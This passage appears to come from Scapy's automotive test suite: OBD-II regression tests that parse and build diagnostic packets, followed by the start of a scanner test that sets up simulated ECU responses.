p.answers(r)\n\n\n\n= Check dissecting a response for Service 01 PID 78\n\np = OBD(b'\\x41\\x78ABCDEFGHI')\nassert p.service == 0x41\nassert p.data_records[0].pid == 0x78\nassert p.data_records[0].reserved == 4\nassert p.data_records[0].sensor1_supported == 1\nassert p.data_records[0].sensor2_supported == 0\nassert p.data_records[0].sensor3_supported == 0\nassert p.data_records[0].sensor4_supported == 0\nassert p.data_records[0].sensor1 == 1656.3\nassert p.data_records[0].sensor2 == 1707.7\nassert p.data_records[0].sensor3 == 1759.1\nassert p.data_records[0].sensor4 == 1810.5\nr = OBD(b'\\x01\\x78')\nassert p.answers(r)\n\n\n= Check dissecting a response for Service 01 PID 7F\n\np = OBD(b'\\x41\\x7F\\x0a'\n        b'\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF'\n        b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'\n        b'\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77')\nassert p.service == 0x41\nassert p.data_records[0].pid == 0x7F\nassert p.data_records[0].reserved == 1\nassert p.data_records[0].total_with_pto_active_supported == 0\nassert p.data_records[0].total_idle_supported == 1\nassert p.data_records[0].total_supported == 0\nassert p.data_records[0].total == 0xFFFFFFFFFFFFFFFF\nassert p.data_records[0].total_idle == 0x0102030405060708\nassert p.data_records[0].total_with_pto_active == 0x0011223344556677\nr = OBD(b'\\x01\\x7f')\nassert p.answers(r)\n\n\n\n= Check dissecting a response for Service 01 PID 89\n\np = OBD(b'\\x41\\x89ABCDEFGHIKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP')\nassert p.service == 0x41\nassert p.data_records[0].pid == 0x89\nassert p.data_records[0].data == b'ABCDEFGHIKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP'\nr = OBD(b'\\x01\\x89')\nassert p.answers(r)\n\n\n= Check dissecting a response for Service 02 PID 75\n\np = OBD(b'\\x42\\x75\\01\\x0a\\x00\\x11\\x22\\x33\\x44\\x55')\nassert p.service == 0x42\nassert p.data_records[0].pid == 0x75\nassert p.data_records[0].frame_no == 0x01\nassert p.data_records[0].reserved == 0\nassert p.data_records[0].turbo_a_turbine_outlet_temperature_supported == 1\nassert p.data_records[0].turbo_a_turbine_inlet_temperature_supported == 0\nassert p.data_records[0].turbo_a_compressor_outlet_temperature_supported == 1\nassert p.data_records[0].turbo_a_compressor_inlet_temperature_supported == 0\nassert p.data_records[0].turbocharger_a_compressor_inlet_temperature == 0x00 - 40\nassert p.data_records[0].turbocharger_a_compressor_outlet_temperature == 0x11 - 40\nassert p.data_records[0].turbocharger_a_turbine_inlet_temperature == \\\n       round((0x2233 * 0.1) - 40, 3)\nassert p.data_records[0].turbocharger_a_turbine_outlet_temperature == \\\n       round((0x4455 * 0.1) - 40, 3)\nr = OBD(b'\\x02\\x75\\x00')\nassert p.answers(r)\n\n\n= Check dissecting a response for Service 02 PID 78\n\np = OBD(b'\\x42\\x78\\x05ABCDEFGHI')\nassert p.service == 0x42\nassert p.data_records[0].pid == 0x78\nassert p.data_records[0].frame_no == 0x05\nassert p.data_records[0].reserved == 4\nassert p.data_records[0].sensor1_supported == 1\nassert p.data_records[0].sensor2_supported == 0\nassert p.data_records[0].sensor3_supported == 0\nassert p.data_records[0].sensor4_supported == 0\nassert p.data_records[0].sensor1 == 1656.3\nassert p.data_records[0].sensor2 == 1707.7\nassert p.data_records[0].sensor3 == 1759.1\nassert p.data_records[0].sensor4 == 1810.5\n\nr = OBD(b'\\x02\\x78\\x00')\nassert p.answers(r)\n\n= Check dissecting a response for Service 02 PID 7F\n\np = OBD(b'\\x42\\x7F\\x01\\x03'\n        b'\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF'\n        b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'\n        b'\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77')\nassert p.service == 0x42\nassert p.data_records[0].pid == 0x7F\nassert p.data_records[0].frame_no == 0x01\nassert p.data_records[0].reserved == 0\nassert p.data_records[0].total_with_pto_active_supported == 0\nassert p.data_records[0].total_idle_supported == 1\nassert p.data_records[0].total_supported == 1\nassert p.data_records[0].total == 0xFFFFFFFFFFFFFFFF\nassert p.data_records[0].total_idle == 0x0102030405060708\nassert p.data_records[0].total_with_pto_active == 0x0011223344556677\n\nr = OBD(b'\\x02\\x7F\\x00')\nassert p.answers(r)\n\n\n= Check dissecting a response for Service 02 PID 89\n\np = OBD(b'\\x42\\x89\\x01ABCDEFGHIKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP')\nassert p.service == 0x42\nassert p.data_records[0].pid == 0x89\nassert p.data_records[0].frame_no == 0x01\nassert p.data_records[0].data == b'ABCDEFGHIKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP'\n\nr = OBD(b'\\x02\\x89\\x00')\nassert p.answers(r)\n\n= Check dissecting a response for Service 02 PID 0C, 05, 04\n\np = OBD(b'\\x42\\x0c\\x00\\x20\\x80\\x04\\x00\\x80\\x05\\x00\\x28')\nassert p.service == 0x42\nassert p.data_records[0].pid == 0x0C\nassert p.data_records[0].frame_no == 0x0\nassert p.data_records[0].data == 2080\nassert p.data_records[1].pid == 0x04\nassert p.data_records[1].frame_no == 0x0\nassert p.data_records[1].data == 50.196\nassert p.data_records[2].pid == 0x05\nassert p.data_records[2].frame_no == 0x0\nassert p.data_records[2].data == 0.0\n\nr = OBD(b'\\x02\\x0c\\x00\\x04\\x00\\x05\\x00')\nr.show()\nassert p.answers(r)\n\n= Check dissecting a response for Service 03\n\np = OBD(b'\\x43\\x06\\x01\\x43\\x01\\x96\\x02\\x34\\x02\\xcd\\x03\\x57\\x0a\\x24')\nassert p.service == 0x43\nassert p.count == 6\nassert bytes(p.dtcs[0]) == b'\\x01\\x43'\nassert bytes(p.dtcs[1]) == b'\\x01\\x96'\nassert bytes(p.dtcs[2]) == b'\\x02\\x34'\nassert bytes(p.dtcs[3]) == b'\\x02\\xcd'\nassert bytes(p.dtcs[4]) == b'\\x03\\x57'\nassert bytes(p.dtcs[5]) == b'\\x0a\\x24'\n\nr = OBD(b'\\x03')\nassert p.answers(r)\n\n= Check dissecting a response for Service 07\n\np = OBD(b'\\x47\\x06\\x01\\x43\\x01\\x96\\x02\\x34\\x02\\xcd\\x03\\x57\\x0a\\x24')\nassert p.service == 0x47\nassert p.count == 6\nassert bytes(p.dtcs[0]) == b'\\x01\\x43'\nassert bytes(p.dtcs[1]) == b'\\x01\\x96'\nassert bytes(p.dtcs[2]) == b'\\x02\\x34'\nassert bytes(p.dtcs[3]) == b'\\x02\\xcd'\nassert bytes(p.dtcs[4]) == b'\\x03\\x57'\nassert bytes(p.dtcs[5]) == b'\\x0a\\x24'\n\nr = OBD(b'\\x07')\nassert p.answers(r)\n\n\n= Check dissecting a response for Service 08 Tid 00\n\np = OBD(b'\\x48\\x00ABCD')\nassert p.service == 0x48\nassert p.data_records[0].tid == 0x00\nassert p.data_records[0].supported_tids == \"TID1E+TID1A+TID18+TID17+TID12+TID0F+TID0A+TID08+TID02\"\nr = OBD(b'\\x08\\x00')\nassert p.answers(r)\n\n\n= Check dissecting a response for Service 08 Tid 01\n\np = OBD(b'\\x48\\x01\\x00\\x00\"\\xffd')\nassert p.service == 0x48\nassert p.data_records[0].tid == 0x01\nassert p.data_records[0].data_a == 0.0\nassert p.data_records[0].data_b == 0.0\nassert p.data_records[0].data_c == 0.17\nassert p.data_records[0].data_d == 1.275\nassert p.data_records[0].data_e == 0.5\nr = OBD(b'\\x08\\x01')\nassert p.answers(r)\n\n\n= Check dissecting a response for Service 08 Tid 05\n\np = OBD(b'\\x48\\x05\\x00\\x00\\x2b\\xff\\x7d')\nassert p.service == 0x48\nassert p.data_records[0].tid == 0x05\nassert p.data_records[0].data_a == 0.0\nassert p.data_records[0].data_b == 0.0\nassert p.data_records[0].data_c == 0.172\nassert p.data_records[0].data_d == 1.02\nassert p.data_records[0].data_e == 0.5\nr = OBD(b'\\x08\\x05')\nassert p.answers(r)\n\n= Check dissecting a response for Service 08 Tid 09\n\np = OBD(b'\\x48\\x09\\x00\\x00\\x04\\x1a\\x0c')\nassert p.service == 0x48\nassert p.data_records[0].tid == 0x09\nassert p.data_records[0].data_a == 0.0\nassert p.data_records[0].data_b == 0.0\nassert p.data_records[0].data_c == 0.16\nassert p.data_records[0].data_d == 1.04\nassert p.data_records[0].data_e == 0.48\nr = OBD(b'\\x08\\x09')\nassert p.answers(r)\n\n\n= Check dissecting a response for Service 09 IID 00\n\np = OBD(b'\\x49\\x00ABCD')\nassert p.service == 0x49\nassert p.data_records[0].iid == 0x00\nassert p.data_records[0].supported_iids == \"IID1E+IID1A+IID18+IID17+IID12+IID0F+IID0A+IID08+IID02\"\nr = OBD(b'\\x09\\x00')\nassert p.answers(r)\n\n= Check dissecting a response for Service 09 IID 02 with one VIN\n\np = OBD(b'\\x49\\x02\\x01W0L000051T2123456')\nassert p.service == 0x49\nassert p.data_records[0].iid == 0x02\nassert p.data_records[0].count == 0x01\nassert p.data_records[0].vehicle_identification_numbers[0] == b'W0L000051T2123456'\nr = OBD(b'\\x09\\x02')\nassert p.answers(r)\n\n= Check dissecting a response for Service 09 IID 02 with two VINs\n\np = OBD(b'\\x49\\x02\\x02W0L000051T2123456W0L000051T2123456')\nassert p.service == 0x49\nassert p.data_records[0].iid == 0x02\nassert p.data_records[0].count == 0x02\nassert p.data_records[0].vehicle_identification_numbers[0] == b'W0L000051T2123456'\nassert p.data_records[0].vehicle_identification_numbers[1] == b'W0L000051T2123456'\nr = OBD(b'\\x09\\x02')\nassert p.answers(r)\n\n= Check dissecting a response for Service 09 IID 04 with one CID\n\np = OBD(b'\\x49\\x04\\x01ABCDEFGHIJKLMNOP')\nassert p.service == 0x49\nassert p.data_records[0].iid == 0x04\nassert p.data_records[0].count == 0x01\nassert p.data_records[0].calibration_identifications[0] == b'ABCDEFGHIJKLMNOP'\nr = OBD(b'\\x09\\x04')\nassert p.answers(r)\n\n= Check dissecting a response for Service 09 IID 04 with two CID\n\np = OBD(b'\\x49\\x04\\x02ABCDEFGHIJKLMNOPABCDEFGHIJKLMNOP')\nassert p.service == 0x49\nassert p.data_records[0].iid == 0x04\nassert p.data_records[0].count == 0x02\nassert p.data_records[0].calibration_identifications[0] == b'ABCDEFGHIJKLMNOP'\nassert p.data_records[0].calibration_identifications[1] == b'ABCDEFGHIJKLMNOP'\nr = OBD(b'\\x09\\x04')\nassert p.answers(r)\n\n= Check dissecting a response for Service 09 IID 06\n\np = OBD(b'\\x49\\x06\\x02ABCDEFGH')\nassert p.service == 0x49\nassert p.data_records[0].iid == 0x06\nassert p.data_records[0].count == 0x02\nassert p.data_records[0].calibration_verification_numbers[0] == b'ABCD'\nassert p.data_records[0].calibration_verification_numbers[1] == b'EFGH'\nr = OBD(b'\\x09\\x06')\nassert p.answers(r)\n\n= Check dissecting a response for Service 09 IID 08\n\np = OBD(b'\\x49\\x08\\x09\\x00\\x01\\x00\\x02\\x00\\x03\\x00\\x04\\x00\\x05\\x00\\x06\\x00\\x07\\x00\\x08\\xFF\\xFF')\nassert p.service == 0x49\nassert p.data_records[0].iid == 0x08\nassert p.data_records[0].count == 0x09\nassert p.data_records[0].data[0] == 1\nassert p.data_records[0].data[1] == 2\nassert p.data_records[0].data[2] == 3\nassert p.data_records[0].data[3] == 4\nassert p.data_records[0].data[4] == 5\nassert p.data_records[0].data[5] == 6\nassert p.data_records[0].data[6] == 7\nassert p.data_records[0].data[7] == 8\nassert p.data_records[0].data[8] == 65535\nr = OBD(b'\\x09\\x08')\nassert p.answers(r)\n\n= Check dissecting a response for Service 09 IID 0A\n\np = OBD(b'\\x49\\x0A\\x01ECM\\x00-Engine Control\\x00')\nassert p.service == 0x49\nassert p.data_records[0].iid == 0x0A\nassert p.data_records[0].count == 0x01\nassert p.data_records[0].ecu_names[0] == b'ECM\\x00-Engine Control\\x00'\nr = OBD(b'\\x09\\x0a')\nassert p.answers(r)\n\n= Check dissecting a response for Service 09 IID 0B\n\np = OBD(b'\\x49\\x0B\\x05\\x00\\x01\\x00\\x02\\x00\\x03\\x00\\x04\\xFF\\xFF')\nassert p.service == 0x49\nassert p.data_records[0].iid == 0x0B\nassert p.data_records[0].count == 0x05\nassert p.data_records[0].data[0] == 1\nassert p.data_records[0].data[1] == 2\nassert p.data_records[0].data[2] == 3\nassert p.data_records[0].data[3] == 4\nassert p.data_records[0].data[4] == 65535\nr = OBD(b'\\x09\\x0b')\nassert p.answers(r)\n\n= Check dissecting a response for Service 09 IID 02 and IID 04\n\np = OBD(b'\\x49\\x02\\x01ABCDEFGHIJKLMNOPQ\\x04\\x01ABCDEFGHIJKLMNOP')\nassert p.service == 0x49\nassert p.data_records[0].iid == 0x02\nassert p.data_records[0].count == 0x01\nassert p.data_records[0].vehicle_identification_numbers[0] == b'ABCDEFGHIJKLMNOPQ'\nassert p.data_records[1].iid == 0x04\nassert p.data_records[1].count == 0x01\nassert p.data_records[1].calibration_identifications[0] == b'ABCDEFGHIJKLMNOP'\nr = OBD(b'\\x09\\x02\\x04')\nassert p.answers(r)\n\nb = bytes(p)\nassert b[0:1] == b'\\x49'\nassert b[1:2] == b'\\x02'\nassert b[2:3] == b'\\x01'\nassert b[3:20] == b'ABCDEFGHIJKLMNOPQ'\nassert b[20:21] == b'\\x04'\nassert b[21:22] == b'\\x01'\nassert b[22:] == b'ABCDEFGHIJKLMNOP'\n\n\n\n= Check building a request for Service 01 PID 00\n\np = OBD()/OBD_S01(pid=0x00)\nb = bytes(p)\nassert b[0:1] == b'\\x01'\nassert b[1:2] == b'\\x00'\n\n\n= Check building a request for Service 01 PID 75\n\np = OBD()/OBD_S01(pid=0x75)\nb = bytes(p)\nassert b[0:1] == b'\\x01'\nassert b[1:2] == b'\\x75'\n\n\n= Check building a request for Service 01 PID 78\n\np = OBD()/OBD_S01(pid=0x78)\nb = bytes(p)\nassert b[0:1] == b'\\x01'\nassert b[1:2] == b'\\x78'\n\n\n= Check building a request for Service 01 PID 7F\n\np = OBD()/OBD_S01(pid=0x7F)\nb = bytes(p)\nassert b[0:1] == b'\\x01'\nassert b[1:2] == b'\\x7F'\n\n\n= Check building a request for Service 01 PID 89\n\np = OBD()/OBD_S01(pid=0x89)\nb = bytes(p)\nassert b[0:1] == b'\\x01'\nassert b[1:2] == b'\\x89'\n\n\n= Check building a request for Service 02 PID 00\n\np = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x00, frame_no=0x01)])\nb = bytes(p)\nassert b[0:1] == b'\\x02'\nassert b[1:2] == b'\\x00'\nassert b[2:3] == b'\\x01'\n\n\n= Check building a request for Service 02 PID 75\n\np = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x75, frame_no=0x01)])\nb = bytes(p)\nassert b[0:1] == b'\\x02'\nassert b[1:2] == b'\\x75'\nassert b[2:3] == b'\\x01'\n\n\n= Check building a request for Service 02 PID 78\n\np = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x78, frame_no=0x01)])\nb = bytes(p)\nassert b[0:1] == b'\\x02'\nassert b[1:2] == b'\\x78'\nassert b[2:3] == b'\\x01'\n\n\n= Check building a request for Service 02 PID 7F\n\np = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x7F, frame_no=0x01)])\nb = bytes(p)\nassert b[0:1] == b'\\x02'\nassert b[1:2] == b'\\x7F'\nassert b[2:3] == b'\\x01'\n\n\n= Check building a request for Service 02 PID 89\n\np = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x89, frame_no=0x01)])\nb = bytes(p)\nassert b[0:1] == b'\\x02'\nassert b[1:2] == b'\\x89'\nassert b[2:3] == b'\\x01'\n\n\n= Check building a request for Service 03\n\np = OBD()/OBD_S03()\nassert p.service == 0x03\n\n\n= Check building a request for Service 02 PID 7F\n\np = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x7F, frame_no=0x01)])\nb = bytes(p)\nassert b[0:1] == b'\\x02'\nassert b[1:2] == b'\\x7F'\nassert b[2:3] == b'\\x01'\n\n\n= Check building a request for Service 09 IID 00\n\np = OBD()/OBD_S09(iid=0x00)\nb = bytes(p)\nassert b[0:1] == b'\\x09'\nassert b[1:2] == b'\\x00'\n\n\n= Check building a request for Service 09 IID 02\n\np = OBD()/OBD_S09(iid=0x02)\nb = bytes(p)\nassert b[0:1] == b'\\x09'\nassert b[1:2] == b'\\x02'\n\n\n= Check building a request for Service 09 IID 04\n\np = OBD()/OBD_S09(iid=0x04)\nb = bytes(p)\nassert b[0:1] == b'\\x09'\nassert b[1:2] == b'\\x04'\n\n\n= Check building a request for Service 09 IID 00 and IID 02 and IID 04\n\np = OBD()/OBD_S09(iid=[0x00, 0x02, 0x04])\nb = bytes(p)\nassert b[0:1] == b'\\x09'\nassert b[1:2] == b'\\x00'\nassert b[2:3] == b'\\x02'\nassert b[3:4] == b'\\x04'\n\n\n= Check building a request for Service 09 IID 0A\n\np = OBD()/OBD_S09(iid=0x0A)\nb = bytes(p)\nassert b[0:1] == b'\\x09'\nassert b[1:2] == b'\\x0A'\n\n\n= Check building a response for Service 03\n\np = OBD()/OBD_S03_PR(dtcs=[OBD_DTC(), OBD_DTC(location='Powertrain', code1=1, code2=3, code3=0, code4=1)])\nb = bytes(p)\nassert b[0:1] == b'\\x43'\nassert b[1:2] == b'\\x02'\nassert b[2:4] == b'\\x00\\x00'\nassert b[4:6] == b'\\x13\\x01'\nr = OBD(b'\\x03')\nassert p.answers(r)\n\n\n= Check building a default response for Service 03\n\np = OBD()/OBD_S03_PR()\nb = bytes(p)\nassert len(p) == 2\nassert b[0:1] == b'\\x43'\nassert b[1:2] == b'\\x00'\nassert p.dtcs == []\nr = OBD(b'\\x03')\nassert p.answers(r)\n\n= Check building a response for Service 07\n\np = OBD()/OBD_S07_PR(dtcs=[OBD_DTC(location='Chassis', code1=0, code2=5, code3=1, code4=0)])\nb = bytes(p)\nassert b[0:1] == b'\\x47'\nassert b[1:2] == b'\\x01'\nassert b[2:4] == b'\\x45\\x10'\nr = OBD(b'\\x07')\nassert p.answers(r)\n\n= Check building a default response for Service 07\n\np = OBD()/OBD_S07_PR()\nb = bytes(p)\nassert len(p) == 2\nassert b[0:1] == b'\\x47'\nassert b[1:2] == b'\\x00'\nassert p.dtcs == []\nr = OBD(b'\\x07')\nassert p.answers(r)\n\n= Check building a response for Service 0A\n\np = OBD()/OBD_S0A_PR(dtcs=[OBD_DTC(), OBD_DTC(location='Body', code1=1, code2=7, code3=8, code4=2), OBD_DTC()])\nb = bytes(p)\nassert b[0:1] == b'\\x4A'\nassert b[1:2] == b'\\x03'\nassert b[2:4] == b'\\x00\\x00'\nassert b[4:6] == b'\\x97\\x82'\nassert b[6:8] == b'\\x00\\x00'\nr = OBD(b'\\x0a')\nassert p.answers(r)\n\n= Check building a default response for Service 0A\n\np = OBD()/OBD_S0A_PR()\nb = bytes(p)\nassert len(p) == 2\nassert b[0:1] == b'\\x4A'\nassert b[1:2] == b'\\x00'\nassert p.dtcs == []\nr = OBD(b'\\x0a')\nassert p.answers(r)\n\n= Check building a response for Service 09 IID 00\n\np = OBD(service=0x49)/OBD_S09_PR(data_records=OBD_S09_PR_Record()/OBD_IID00(b'ABCD'))\nb = bytes(p)\nassert b[0:1] == b'\\x49'\nassert b[1:2] == b'\\x00'\nassert b[2:] == b'ABCD'\nr = OBD(b'\\x09\\x00')\nassert p.answers(r)\n\n= Check building a response for Service 09 IID 02 with one VIN\n\np = OBD(service=0x49)/OBD_S09_PR(data_records=OBD_S09_PR_Record()/OBD_IID02(vehicle_identification_numbers=b'W0L000051T2123456'))\nb = bytes(p)\nassert b[0:1] == b'\\x49'\nassert b[1:2] == b'\\x02'\nassert b[2:3] == b'\\x01'\nassert b[3:] == b'W0L000051T2123456'\n\nr = OBD(b'\\x09\\x02')\nassert p.answers(r)\n\n= Check building a response for Service 09 IID 02 with two VINs\n\np = OBD(service=0x49)/OBD_S09_PR(data_records=OBD_S09_PR_Record()/OBD_IID02(vehicle_identification_numbers=[b'W0L000051T2123456', b'W0L000051T2123456']))\nb = bytes(p)\nassert b[0:1] == b'\\x49'\nassert b[1:2] == b'\\x02'\nassert b[2:3] == b'\\x02'\nassert b[3:20] == b'W0L000051T2123456'\nassert b[20:] == b'W0L000051T2123456'\n\nr = OBD(b'\\x09\\x02')\nassert p.answers(r)\n\n\n= Check building a response for Service 09 IID 04 with one CID\n\np = OBD(service=0x49)/OBD_S09_PR(data_records=OBD_S09_PR_Record()/OBD_IID04(calibration_identifications=b'ABCDEFGHIJKLMNOP'))\nb = bytes(p)\nassert b[0:1] == b'\\x49'\nassert b[1:2] == b'\\x04'\nassert b[2:3] == b'\\x01'\nassert b[3:] == b'ABCDEFGHIJKLMNOP'\n\nr = OBD(b'\\x09\\x04')\nassert p.answers(r)\n\n\n= Check building a response for Service 09 IID 04 with two CID\n\np = OBD(service=0x49)/OBD_S09_PR(data_records=OBD_S09_PR_Record()/OBD_IID04(calibration_identifications=[b'ABCDEFGHIJKLMNOP', b'ABCDEFGHIJKLMNOP']))\nb = bytes(p)\nassert b[0:1] == b'\\x49'\nassert b[1:2] == b'\\x04'\nassert b[2:3] == b'\\x02'\nassert b[3:19] == b'ABCDEFGHIJKLMNOP'\nassert b[19:] == b'ABCDEFGHIJKLMNOP'\n\nr = OBD(b'\\x09\\x04')\nassert p.answers(r)\n\n\n= Check building a response for Service 09 IID 0A\n\np = OBD(service=0x49)/OBD_S09_PR(data_records=OBD_S09_PR_Record()/OBD_IID0A(ecu_names=b'ABCDEFGHIJKLMNOPQRST'))\nb = bytes(p)\nassert b[0:1] == b'\\x49'\nassert b[1:2] == b'\\x0A'\nassert b[2:3] == b'\\x01'\nassert b[3:] == b'ABCDEFGHIJKLMNOPQRST'\n\nr = OBD(b'\\x09\\x0a')\nassert p.answers(r)\n\n\n= Check building a response for Service 09 IID 02 and IID 04\n\np = OBD(service=0x49)/OBD_S09_PR(data_records=[\n    OBD_S09_PR_Record()/OBD_IID02(vehicle_identification_numbers=b'ABCDEFGHIJKLMNOPQ'),\n    OBD_S09_PR_Record()/OBD_IID04(calibration_identifications=b'ABCDEFGHIJKLMNOP')\n])\nb = bytes(p)\nassert b[0:1] == b'\\x49'\nassert b[1:2] == b'\\x02'\nassert b[2:3] == b'\\x01'\nassert b[3:20] == b'ABCDEFGHIJKLMNOPQ'\nassert b[20:21] == b'\\x04'\nassert b[21:22] == b'\\x01'\nassert b[22:] == b'ABCDEFGHIJKLMNOP'\n\nr = OBD(b'\\x09\\x02\\x04')\nassert p.answers(r)\n\n"
  },
  {
    "path": "test/contrib/automotive/obd/scanner.uts",
    "content": "% Regression tests for obd_scan\n~ scanner\n\n+ Configuration\n~ conf\n\n= Imports\n\nfrom test.testsocket import TestSocket, cleanup_testsockets\nfrom scapy.contrib.automotive.ecu import *  # noqa: F403\n\n= Load contribution layer\n\nload_contrib(\"automotive.obd.obd\", globals_dict=globals())\nload_contrib(\"automotive.obd.scanner\", globals_dict=globals())\n\n= Create sockets\n\necu = TestSocket(OBD)\ntester = TestSocket(OBD)\necu.pair(tester)\n\n= Create answers\n\nresponses = [\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=0)/OBD_PID00(supported_pids=3191777299)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=1)/OBD_PID01(mil=0, dtc_count=0, reserved1=0, continuous_tests_ready=0, reserved2=0, continuous_tests_supported=7, once_per_trip_tests_supported=225, once_per_trip_tests_ready=0)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=11)/OBD_PID0B(data=44)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=12)/OBD_PID0C(data=857.0)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=13)/OBD_PID0D(data=0)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=14)/OBD_PID0E(data=3.5)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=15)/OBD_PID0F(data=22.0)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=17)/OBD_PID11(data=14.51)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=19)/OBD_PID13(sensors_present=3)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=21)/OBD_PID15(outputVoltage=1.275, trim=99.219)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=28)/OBD_PID1C(data=6)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=3)/OBD_PID03(fuel_system1=2, fuel_system2=0)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=31)/OBD_PID1F(data=13)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=32)/OBD_PID20(supported_pids=2684465153)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=33)/OBD_PID21(data=0)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=35)/OBD_PID23(data=24910)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=4)/OBD_PID04(data=9.804)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=48)/OBD_PID30(data=19)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=49)/OBD_PID31(data=3587)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=5)/OBD_PID05(data=41.0)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=51)/OBD_PID33(data=97)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=52)/OBD_PID34(equivalence_ratio=1.001, current=128.004)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=6)/OBD_PID06(data=0.0)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=64)/OBD_PID40(supported_pids=244352000)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=69)/OBD_PID45(data=3.922)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=7)/OBD_PID07(data=-0.781)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=70)/OBD_PID46(data=20.0)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=71)/OBD_PID47(data=12.549)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=73)/OBD_PID49(data=5.49)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=76)/OBD_PID4C(data=3.922)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=81)/OBD_PID51(data=1)])),\n    EcuResponse(responses=OBD(service=65)/OBD_S01_PR(data_records=[OBD_S01_PR_Record(pid=86)/OBD_PID56(bank1=0.0)])),\n    EcuResponse(responses=OBD(service=67)/OBD_S03_PR(count=0)),\n    EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=0)/OBD_MID00(supported_mids=3221225473)])),\n    EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=1)/OBD_MIDXX(standardized_test_id=131, unit_and_scaling_id=4, test_value=0.0, min_limit=0.0, max_limit=1.0),OBD_S06_PR_Record(mid=1)/OBD_MIDXX(standardized_test_id=138, unit_and_scaling_id=132, test_value=0.996, min_limit=-32.768, max_limit=1.06),OBD_S06_PR_Record(mid=1)/OBD_MIDXX(standardized_test_id=139, unit_and_scaling_id=132, test_value=0.996, min_limit=0.94, max_limit=32.767)])),\n    EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=128)/OBD_MID80(supported_mids=1)])),\n    EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=160)/OBD_MIDA0(supported_mids=4160749568)])),\n    EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=161)/OBD_MIDXX(standardized_test_id=12, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=65535)])),\n    EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=162)/OBD_MIDXX(standardized_test_id=12, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=65535),OBD_S06_PR_Record(mid=162)/OBD_MIDXX(standardized_test_id=11, unit_and_scaling_id=36, test_value=2, min_limit=0, max_limit=65535)])),\n    